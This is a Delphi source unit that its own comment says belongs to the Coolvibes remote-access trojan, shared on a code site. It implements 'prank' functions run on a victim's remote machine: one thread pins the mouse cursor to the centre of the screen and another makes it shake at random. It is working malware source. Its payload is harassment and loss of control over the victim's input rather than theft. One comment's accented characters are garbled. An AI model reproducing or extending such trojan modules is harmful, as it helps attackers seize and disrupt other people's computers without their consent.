unitbromas.pas

来自「参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP」· PAS 代码 · 共 92 行

{Unit perteneciente al troyano Coolvibes que contiene todas las funciones
para relaizar distintos tipos de bromas en el sistema remoto}
unit UnitBromas;

interface

uses
  Windows,
  UnitFunciones;

  procedure CongelarMouse(Bool : Boolean);
  procedure TemblarMouse(Bool : Boolean);

implementation

var
  MouseIsCongelado : Boolean  = False;
  MouseIsTemblando : Boolean = False;

procedure CongelarMouse(Bool : Boolean);
  procedure FijarCursor;
  begin
    while MouseIsCongelado do
    begin
      SetCursorPos(AnchuraPantalla() div 2, AlturaPantalla() div 2); //Fija el cursor en la mitad de la pantalla
      Sleep( 50 );
    end;
  end;

var
  id: Cardinal;
begin
  if Bool = False then
  begin
    MouseIsCongelado := FALSE;
  end
  else
  begin
    MouseIsCongelado := TRUE;
    BeginThread(nil, 0, @FijarCursor, nil, 0, id ); //Empieza en un nuevo Thread la Funcion FijarCursor
  end;
end;

procedure TemblarMouse(Bool : Boolean);
  procedure MouseTemblando;
  var
    Direccion : byte;
    Coord : TPoint;
  begin
    while MouseIsTemblando do
    begin
      Direccion := Random(4); //devuelve un aleatorio entre 0 y 3
      case direccion of
        0 : begin
              GetCursorPos(Coord);
              SetCursorPos(Coord.x + 4, coord.y + 4);
            end;
        1 : begin
              GetCursorPos(Coord);
              SetCursorPos(Coord.x + 4, coord.y - 4);
            end;
        2 : begin
              GetCursorPos(Coord);
              SetCursorPos(Coord.x - 4, coord.y - 4);
            end;
        3 : begin
              GetCursorPos(Coord);
              SetCursorPos(Coord.x - 4, coord.y + 4);
            end;
      end;
      Sleep(30);
    end;
  end;

var
  id: Cardinal;
begin
  if Bool = False then
  begin
    MouseIsTemblando := FALSE;
  end
  else
  begin
    MouseIsTemblando := TRUE;
    BeginThread(nil, 0, @MouseTemblando, nil, 0, id ); //Empieza en un nuevo Thread la Funcion MouseTemblando
  end;
end;

begin
  Randomize;  //Para que la funci髇 random tome valores distintos en cada ejecuci髇
end.